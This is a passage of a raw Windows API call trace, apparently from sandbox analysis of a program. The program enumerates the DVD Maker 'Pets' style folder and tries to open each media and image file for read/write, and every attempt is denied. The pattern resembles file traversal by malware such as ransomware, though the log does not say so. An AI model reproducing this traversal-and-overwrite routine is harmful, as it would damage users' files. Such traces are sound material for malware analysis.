hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets", cAlternateFileName="")) returned 1 [0104.115] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets") returned 48 [0104.115] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*") returned 52 [0104.115] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0104.119] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.119] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0104.119] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned 67 [0104.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.120] GetLastError () returned 0x5 [0104.120] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0104.120] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned 71 [0104.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.122] GetLastError () returned 0x5 [0104.122] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0104.122] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned 66 [0104.122] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.122] GetLastError () returned 0x5 [0104.122] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0104.122] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned 70 [0104.122] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.122] GetLastError () returned 0x5 [0104.122] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0104.122] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned 78 [0104.123] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.124] GetLastError () returned 0x5 [0104.124] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0104.124] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned 73 [0104.124] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.125] GetLastError () returned 0x5 [0104.125] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0104.125] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned 78 [0104.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.125] GetLastError () returned 0x5 [0104.125] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0104.125] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png") returned 73 [0104.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.125] GetLastError () returned 0x5 [0104.126] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0104.126] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png") returned 70 [0104.126] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-over-DOT.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-over-dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.127] GetLastError () returned 0x5 [0104.128] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0104.128] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png") returned 82 [0104.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.128] GetLastError () returned 0x5 [0104.128] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0104.128] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png") returned 77 [0104.128] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.128] GetLastError () returned 0x5 [0104.128] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0104.129] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png") returned 70 [0104.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.129] GetLastError () returned 0x5 [0104.129] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0104.129] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png") returned 73 [0104.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.129] GetLastError () returned 0x5 [0104.129] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0104.129] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png") returned 73 [0104.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-imageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.131] GetLastError () returned 0x5 [0104.131] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0104.131] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png") returned 70 [0104.131] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.131] GetLastError () returned 0x5 [0104.132] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0104.132] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png") returned 78 [0104.132] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.132] GetLastError () returned 0x5 [0104.132] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0104.132] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png") returned 76 [0104.132] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.132] GetLastError () returned 0x5 [0104.132] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0104.132] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png") returned 79 [0104.133] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.134] GetLastError () returned 0x5 [0104.134] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0104.134] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png") returned 78 [0104.134] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_notes-txt-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_notes-txt-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.134] GetLastError () returned 0x5 [0104.134] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0104.134] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png") returned 65 [0104.135] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.135] GetLastError () returned 0x5 [0104.135] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0104.135] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv") returned 68 [0104.135] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0104.135] GetLastError () returned 0x5 [0104.135] 